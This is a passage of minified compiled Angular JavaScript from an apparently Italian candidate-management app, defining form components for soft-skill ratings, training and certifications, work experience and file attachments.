lavoro."),""),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(149,We)),z.Cb(4),z.Jc(z.ic(84,110,"ORIENTAMENTO AL CLIENTE")),z.Cb(5),z.Jc(z.ic(89,112,"Identifica correttamente e soddisfa le esigenze del cliente.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(150,We)),z.Cb(4),z.Jc(z.ic(97,114,"Anticipa le esigenze inespresse del cliente, consigliandolo sui potenziali bisogni che potrebbe non aver considerato.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(151,We)),z.Cb(4),z.Jc(z.ic(105,116,"Si impegna in prima persona a risolvere i problemi e i reclami del cliente, applicando le opportune procedure di escalation quando necessario.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(152,We)),z.Cb(4),z.Jc(z.ic(113,118,"COMUNICAZIONE")),z.Cb(5),z.Jc(z.ic(118,120,"Si esprime in modo chiaro e strutturato.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(153,We)),z.Cb(4),z.Jc(z.ic(126,122,"Ascolta, si mette nei panni degli altri e mostra comprensione per le loro idee.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(154,We)),z.Cb(4),z.Jc(z.ic(134,124,"Riesce ad essere assertivo e a difendere i propri punti di vista mantenendo un atteggiamento rispettoso verso le opinioni altrui.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(155,We)),z.Cb(4),z.Jc(z.ic(142,126,"ADATTABILITA AL CAMBIAMENTO")),z.Cb(5),z.Jc(z.ic(147,128,"Accetta e si adatta rapidamente ai cambiamenti (di team, di progetto, di organizzazione).")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(156,We)),z.Cb(4),z.Jc(z.ic(155,130,"Considera idee e approcci differenti integrandoli nel proprio agire quotidiano.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(157,We)),z.Cb(4),z.Jc(z.ic(163,132,"Sa ricevere feedback e modificare opportunamente i propri comportamenti.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(158,We)),z.Cb(4),z.Jc(z.ic(171,134,"TEAM WORKING")),z.Cb(5),z.Jc(z.ic(176,136,"Mostra un approccio collaborativo aiutando il team a risolvere i potenziali problemi.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(159,We)),z.Cb(4),z.Jc(z.ic(184,138,"Supporta attivamente gli altri nell\u2019esecuzione degli incarichi assegnati al team.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(160,We)),z.Cb(4),z.Kc("",z.ic(192,140,"Sa mostrare apprezzamento per i contributi e le idee altrui, partecipa attivamente alle attivit\xe0 di brainstorming del gruppo.")," "),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(161,We)))},directives:[C.w,C.o,C.i,Ne.a,C.n,C.g,C.u],pipes:[E.c],encapsulation:2}),je);function Be(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",36),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",37),z.Ub()}}var Ye=function(e){return["form-control",e]},He=function(e){return["form-control","border-select",e]};function Ze(e,t){if(1&e&&(z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",12),z.Vb(6,"span",13),z.Qb(7,"i",14),z.Ub(),z.Gc(8,Be,2,0,"span",15),z.Ub(),z.Ub(),z.Vb(9,"div",16),z.Vb(10,"div",17),z.Vb(11,"div",18),z.Vb(12,"h3",19),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"div",20),z.Vb(16,"div",21),z.Qb(17,"input",22),z.Qb(18,"i",23),z.Ub(),z.Ub(),z.Qb(19,"i",24),z.Ub(),z.Ub(),z.Vb(20,"div",17),z.Vb(21,"div",18),z.Vb(22,"h3",19),z.Ic(23),z.hc(24,"translate"),z.Ub(),z.Vb(25,"div",20),z.Vb(26,"div",21),z.Qb(27,"input",25),z.Qb(28,"i",23),z.Ub(),z.Ub(),z.Qb(29,"i",24),z.Ub(),z.Ub(),z.Vb(30,"div",26),z.Vb(31,"h3",27),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"div",18),z.Qb(35,"input",28),z.Qb(36,"i",24),z.Vb(37,"div",29),z.Ic(38),z.hc(39,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(40,"div",26),z.Vb(41,"h3",27),z.Ic(42),z.hc(43,"translate"),z.Ub(),z.Vb(44,"div",18),z.Vb(45,"app-datetime-manager",30),z.cc("modelChange",function(e){return t.$implicit.controls.dataConseguimento.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(46,"div",26),z.Vb(47,"h3",27),z.Ic(48),z.hc(49,"translate"),z.Ub(),z.Vb(50,"div",18),z.Qb(51,"input",31),z.Qb(52,"i",24),z.Vb(53,"div",29),z.Ic(54),z.hc(55,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(56,"div",26),z.Vb(57,"h3",27),z.Ic(58),z.hc(59,"translate"),z.Ub(),z.Vb(60,"div",18),z.Qb(61,"input",32),z.Qb(62,"i",24),z.Vb(63,"div",29),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(66,"div",26),z.Vb(67,"h3",27),z.Ic(68),z.hc(69,"translate"),z.Ub(),z.Vb(70,"div",18),z.Qb(71,"ng-select",33),z.hc(72,"translate"),z.Ub(),z.Ub(),z.Vb(73,"div",26),z.Vb(74,"h3",27),z.Ic(75),z.hc(76,"translate"),z.Ub(),z.Vb(77,"div",18),z.Vb(78,"app-datetime-manager",30),z.cc("modelChange",function(e){return t.$implicit.controls.startDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(79,"div",26),z.Vb(80,"h3",27),z.Ic(81),z.hc(82,"translate"),z.Ub(),z.Vb(83,"div",18),z.Vb(84,"app-datetime-manager",30),z.cc("modelChange",function(e){return t.$implicit.controls.endDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(85,"div",26),z.Vb(86,"h3",27),z.Ic(87),z.hc(88,"translate"),z.Ub(),z.Vb(89,"div",18),z.Qb(90,"input",34),z.Qb(91,"i",24),z.Ub(),z.Ub(),z.Vb(92,"div",26),z.Vb(93,"h3",27),z.Ic(94),z.hc(95,"translate"),z.Ub(),z.Vb(96,"div",18),z.Qb(97,"input",35),z.Qb(98,"i",24),z.Vb(99,"div",29),z.Ic(100),z.hc(101,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.name_certification.value?i.controls.name_certification.value:z.ic(4,42,"Formazione")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(4),z.Kc("",z.ic(14,44,"Corso di Formazione")," "),z.Cb(10),z.Kc("",z.ic(24,46,"Certificazione")," "),z.Cb(7),z.nc("hidden",!i.controls.formazione.value),z.Cb(2),z.Kc("",z.ic(33,48,"Titolo della Formazione")," "),z.Cb(3),z.nc("ngClass",z.rc(76,Ye,a.validateField("titoloFormazione",i))),z.Cb(3),z.Jc(z.ic(39,50,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),z.Cb(2),z.nc("hidden",!i.controls.formazione.value),z.Cb(2),z.Kc("",z.ic(43,52,"Data Conseguimento")," "),z.Cb(3),z.nc("model",i.controls.dataConseguimento.value)("inputClass",z.rc(78,Ye,a.validateField("dataConseguimento",i))),z.Cb(1),z.nc("hidden",!i.controls.formazione.value),z.Cb(2),z.Kc("",z.ic(49,54,"Ente Formatore")," "),z.Cb(3),z.nc("ngClass",z.rc(80,Ye,a.validateField("enteFormatore",i))),z.Cb(3),z.Kc(" ",z.ic(55,56,"LEnte formatore \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(59,58,"Nome Certificato")," "),z.Cb(3),z.nc("ngClass",z.rc(82,Ye,a.validateField("name_certification",i))),z.Cb(3),z.Jc(z.ic(65,60,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(69,62,"Organizzazione emittente")," "),z.Cb(3),z.nc("items",a.options.issuersListOpt)("ngClass",z.rc(84,He,a.validateField("issuer",i)))("addTag",!0)("addTagText",z.ic(72,64,"Premi invio per aggiungere il nuovo valore")),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(76,66,"Emessa il")," "),z.Cb(3),z.nc("model",i.controls.startDate.value)("inputClass",z.rc(86,Ye,a.validateField("startDate",i))),z.Cb(1),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(82,68,"Scadenza")," "),z.Cb(3),z.nc("model",i.controls.endDate.value)("inputClass",z.rc(88,Ye,a.validateField("endDate",i))),z.Cb(1),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(88,70,"ID Credenziale")," "),z.Cb(3),z.nc("ngClass",z.rc(90,Ye,a.validateField("certificate_id",i))),z.Cb(2),z.nc("hidden",!i.controls.certificazione.value),z.Cb(2),z.Kc("",z.ic(95,72,"URL Credenziale")," "),z.Cb(3),z.nc("ngClass",z.rc(92,Ye,a.validateField("certificate_url",i))),z.Cb(3),z.Jc(z.ic(101,74,"L'URL deve essere valida!"))}}var Xe,et=((Xe=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray")}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({formazione:[!1],certificazione:[!1],titoloFormazione:[null],dataConseguimento:[null],enteFormatore:[null],name_certification:[null],issuer:[null],startDate:[null],endDate:[null],certificate_id:[null],certificate_url:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||Xe)(z.Pb(C.e))},Xe.\u0275cmp=z.Jb({type:Xe,selectors:[["app-candidate-insert-formazione"]],features:[z.zb],decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","formazione",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["type","checkbox","formControlName","certificazione",1,"toggle-switch__checkbox"],[1,"col-md-6",3,"hidden"],[1,"card-body__title"],["type","text","formControlName","titoloFormazione",3,"ngClass"],[1,"invalid-tooltip"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"model","inputClass","modelChange"],["type","text","formControlName","enteFormatore",3,"ngClass"],["type","text","formControlName","name_certification",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","issuer",3,"items","ngClass","addTag","addTagText"],["type","text","formControlName","certificate_id",3,"ngClass"],["type","text","formControlName","certificate_url",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,Ze,102,94,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,4,"Aggiungi Formazione")," "),z.Cb(4),z.Kc("",z.ic(13,6,"Rimuovi Formazioni Vuote")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.a,C.n,C.g,C.c,S.l,T.a,A.a],pipes:[E.c],encapsulation:2}),Xe);function tt(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",28),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",29),z.Ub()}}var it=function(e){return["form-control",e]},nt=function(e){return["form-control","border-select",e]},at=function(e){return["form-control","textareaCustom",e]};function ot(e,t){if(1&e&&(z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",12),z.Vb(6,"span",13),z.Qb(7,"i",14),z.Ub(),z.Gc(8,tt,2,0,"span",15),z.Ub(),z.Ub(),z.Vb(9,"div",16),z.Vb(10,"div",17),z.Vb(11,"h3",18),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",19),z.Qb(15,"input",20),z.Qb(16,"i",21),z.Vb(17,"div",22),z.Ic(18),z.hc(19,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(20,"div",17),z.Vb(21,"h3",18),z.Ic(22),z.hc(23,"translate"),z.Ub(),z.Vb(24,"div",19),z.Qb(25,"input",23),z.Qb(26,"i",21),z.Vb(27,"div",22),z.Ic(28),z.hc(29,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(30,"div",17),z.Vb(31,"h3",18),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"div",19),z.Qb(35,"input",24),z.Qb(36,"i",21),z.Vb(37,"div",22),z.Ic(38),z.hc(39,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(40,"div",17),z.Vb(41,"h3",18),z.Ic(42),z.hc(43,"translate"),z.Ub(),z.Vb(44,"div",19),z.Vb(45,"app-datetime-manager",25),z.cc("modelChange",function(e){return t.$implicit.controls.exp_startDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(46,"div",17),z.Vb(47,"h3",18),z.Ic(48),z.hc(49,"translate"),z.Ub(),z.Vb(50,"div",19),z.Vb(51,"app-datetime-manager",25),z.cc("modelChange",function(e){return t.$implicit.controls.exp_endDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(52,"div",17),z.Vb(53,"h3",18),z.Ic(54),z.hc(55,"translate"),z.Ub(),z.Vb(56,"div",19),z.Qb(57,"ng-select",26),z.hc(58,"translate"),z.Vb(59,"div",22),z.Ic(60),z.hc(61,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(62,"div",1),z.Vb(63,"h3",18),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Vb(66,"div",19),z.Vb(67,"textarea",27),z.Ic(68,"                        "),z.Ub(),z.Qb(69,"i",21),z.Vb(70,"div",22),z.Ic(71),z.hc(72,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.exp_jobTitle.value?i.controls.exp_jobTitle.value+(i.controls.company_name.value?" ("+i.controls.company_name.value+")":""):z.ic(4,27,"Esperienza")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(3),z.Kc("",z.ic(13,29,"Mansione")," "),z.Cb(3),z.nc("ngClass",z.rc(55,it,a.validateField("exp_jobTitle",i))),z.Cb(3),z.Jc(z.ic(19,31,"La mansione \xe8 obbligatoria e non pu\xf2 superare i 30 caratteri!")),z.Cb(4),z.Jc(z.ic(23,33,"Azienda")),z.Cb(3),z.nc("ngClass",z.rc(57,it,a.validateField("company_name",i))),z.Cb(3),z.Jc(z.ic(29,35,"Il nome dell'azienda \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),z.Cb(4),z.Jc(z.ic(33,37,"Citt\xe0")),z.Cb(3),z.nc("ngClass",z.rc(59,it,a.validateField("location",i))),z.Cb(3),z.Jc(z.ic(39,39,"La citt\xe0 dove si \xe8 svolto il lavoro \xe8 obbligatoria!")),z.Cb(4),z.Jc(z.ic(43,41,"Data di inizio")),z.Cb(3),z.nc("model",i.controls.exp_startDate.value)("inputClass",z.rc(61,it,a.validateField("exp_startDate",i))),z.Cb(3),z.Kc("",z.ic(49,43,"Data di fine")," "),z.Cb(3),z.nc("model",i.controls.exp_endDate.value)("inputClass",z.rc(63,it,a.validateField("exp_endDate",i))),z.Cb(3),z.Kc("",z.ic(55,45,"Industry")," "),z.Cb(3),z.nc("items",a.options.industryListOpt)("ngClass",z.rc(65,nt,a.validateField("exp_industry",i)))("addTag",!0)("addTagText",z.ic(58,47,"Premi invio per aggiungere il nuovo valore")),z.Cb(3),z.Jc(z.ic(61,49,"Seleziona il settore dove hai svolto questa mansione!")),z.Cb(4),z.Kc("",z.ic(65,51,"Descrizione")," "),z.Cb(3),z.nc("ngClass",z.rc(67,at,a.validateField("description",i))),z.Cb(4),z.Jc(z.ic(72,53,"La descrizione non pu\xf2 superare i 500 caratteri!"))}}var rt,ct=((rt=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray")}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({exp_jobTitle:[null],company_name:[null],location:[null],exp_startDate:[null],exp_endDate:[null],description:[null],exp_industry:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||rt)(z.Pb(C.e))},rt.\u0275cmp=z.Jb({type:rt,selectors:[["app-candidate-insert-esperienza"]],features:[z.zb],decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","exp_jobTitle",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","company_name",3,"ngClass"],["type","text","formControlName","location",3,"ngClass"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"model","inputClass","modelChange"],["bindLabel","name","bindValue","name","placeholder","","formControlName","exp_industry",3,"items","ngClass","addTag","addTagText"],["formControlName","description","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,ot,73,69,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,4,"Aggiungi Esperienza")," "),z.Cb(4),z.Kc("",z.ic(13,6,"Rimuovi Esperienze Vuote")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.c,C.n,C.g,S.l,T.a,A.a,g.a],pipes:[E.c],encapsulation:2}),rt),lt=function(e){return["form-control",e]},st=function(e){return["form-control","border-select",e]};function bt(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",12),z.Vb(6,"span",13),z.Qb(7,"i",14),z.Ub(),z.Vb(8,"span",15),z.cc("click",function(){z.Ac(i);var e=t.index;return z.gc()._form.removeAt(e)}),z.Qb(9,"i",16),z.Ub(),z.Ub(),z.Ub(),z.Vb(10,"div",17),z.Vb(11,"div",1),z.Vb(12,"h3",18),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"div",19),z.Qb(16,"app-file-manager"),z.Ub(),z.Ub(),z.Vb(17,"div",20),z.Vb(18,"h3",18),z.Ic(19),z.hc(20,"translate"),z.Ub(),z.Vb(21,"div",19),z.Qb(22,"input",21),z.Qb(23,"i",22),z.Ub(),z.Ub(),z.Vb(24,"div",20),z.Vb(25,"h3",18),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",19),z.Qb(29,"ng-select",23),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=t.index,o=z.gc();z.Cb(3),z.Kc(" ",n.controls.filename.value?n.controls.filename.value:z.ic(4,8,"Allegato")+" #"+(a+1)," "),z.Cb(7),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(14,10,"File")," "),z.Cb(6),z.Jc(z.ic(20,12,"Nome file")),z.Cb(3),z.nc("ngClass",z.rc(16,lt,o.validateField("filename",n))),z.Cb(4),z.Jc(z.ic(27,14,"Categoria")),z.Cb(3),z.nc("items",o.options.categoryOptions)("ngClass",z.rc(18,st,o.validateField("category",n)))}}var dt,mt=((dt=function(e){i(n,e);var t=a(n);function n(e){var i;return b(this,n),(i=t.call(this,e,"FormArray")).dropzoneCfgAllegati={url:x.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},i}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({category:[null],filename:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||dt)(z.Pb(C.e))},dt.\u0275cmp=z.Jb({type:dt,selectors:[["app-candidate-insert-allegati"]],features:[z.zb],decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],[1,"col-md-6"],["type","text","formControlName","filename",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","name","placeholder","","formControlName","category",3,"items","ngClass"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,bt,30,20,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form,!0)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,4,"Aggiungi Allegato")," "),z.Cb(4),z.Kc("",z.ic(13,6,"Rimuovi Allegati Vuoti")," "))},directives:[Ue.a,S.m,Ue.c,C.o,C.i,se.a,C.c,C.n,C.g,S.l,A.a],pipes:[E.c],encapsulation:2}),dt);function ut(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",56),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",57),z.Ub()}}var gt=function(e){return["form-control",e]},pt=function(e){return["form-control","border-select",e]},ft=function(e){return["form-control","textareaCustom",e]};function vt(e,t){if(1&e&&(z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",12),z.Vb(6,"span",13),z.Qb(7,"i",14),z.Ub(),z.Gc(8,ut,2,0,"span",15),z.Ub(),z.Ub(),z.Vb(9,"div",16),z.Vb(10,"div",17),z.Vb(11,"div",0),z.Vb(12,"div",18),z.Vb(13,"div",19),z.Vb(14,"div",20),z.Vb(15,"h3",21),z.Ic(16),z.hc(17,"translate"),z.Ub(),z.Ub(),z.Vb(18,"div",22),z.Vb(19,"div",23),z.Qb(20,"input",24),z.Qb(21,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(22,"div",18),z.Vb(23,"div",19),z.Vb(24,"div",20),z.Vb(25,"h3",21),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Ub(),z.Vb(28,"div",22),z.Vb(29,"div",23),z.Qb(30,"input",26),z.Qb(31,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(32,"div",18),z.Vb(33,"div",19),z.Vb(34,"div",20),z.Vb(35,"h3",21),z.Ic(36),z.hc(37,"translate"),z.Ub(),z.Ub(),z.Vb(38,"div",22),z.Vb(39,"div",23),z.Qb(40,"input",27),z.Qb(41,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(42,"div",18),z.Vb(43,"div",1),z.Qb(44,"input",28),z.Qb(45,"i",29),z.Ub(),z.Ub(),z.Vb(46,"div",18),z.Vb(47,"div",19),z.Vb(48,"div",20),z.Vb(49,"h3",21),z.Ic(50),z.hc(51,"translate"),z.Ub(),z.Ub(),z.Vb(52,"div",22),z.Vb(53,"div",23),z.Qb(54,"input",30),z.Qb(55,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(56,"div",18),z.Vb(57,"div",1),z.Qb(58,"input",31),z.Qb(59,"i",29),z.Ub(),z.Ub(),z.Vb(60,"div",18),z.Vb(61,"div",19),z.Vb(62,"div",20),z.Vb(63,"h3",21),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Ub(),z.Vb(66,"div",22),z.Vb(67,"div",23),z.Qb(68,"input",32),z.Qb(69,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(70,"div",18),z.Vb(71,"div",1),z.Qb(72,"input",33),z.Qb(73,"i",29),z.Ub(),z.Ub(),z.Vb(74,"div",18),z.Vb(75,"div",19),z.Vb(76,"div",20),z.Vb(77,"h3",21),z.Ic(78),z.hc(79,"translate"),z.Ub(),z.Ub(),z.Vb(80,"div",22),z.Vb(81,"div",23),z.Qb(82,"input",34),z.Qb(83,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(84,"div",18),z.Vb(85,"div",1),z.Qb(86,"input",35),z.Qb(87,"i",29),z.Ub(),z.Ub(),z.Vb(88,"div",18),z.Vb(89,"h3",36),z.Ic(90),z.hc(91,"translate"),z.Ub(),z.Vb(92,"div",37),z.Qb(93,"ng-select",38),z.hc(94,"translate"),z.Ub(),z.Ub(),z.Vb(95,"div",1),z.Vb(96,"h3",36),z.Ic(97),z.hc(98,"translate"),z.Ub(),z.Vb(99,"div",37),z.Vb(100,"textarea",39),z.Ic(101,"                                    "),z.Ub(),z.Qb(102,"i",29),z.Vb(103,"div",40),z.Ic(104),z.hc(105,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(106,"div",18),z.Vb(107,"h3",36),z.Ic(108),z.hc(109,"translate"),z.Ub(),z.Vb(110,"div",37),z.Vb(111,"app-datetime-manager",41),z.cc("modelChange",function(e){return 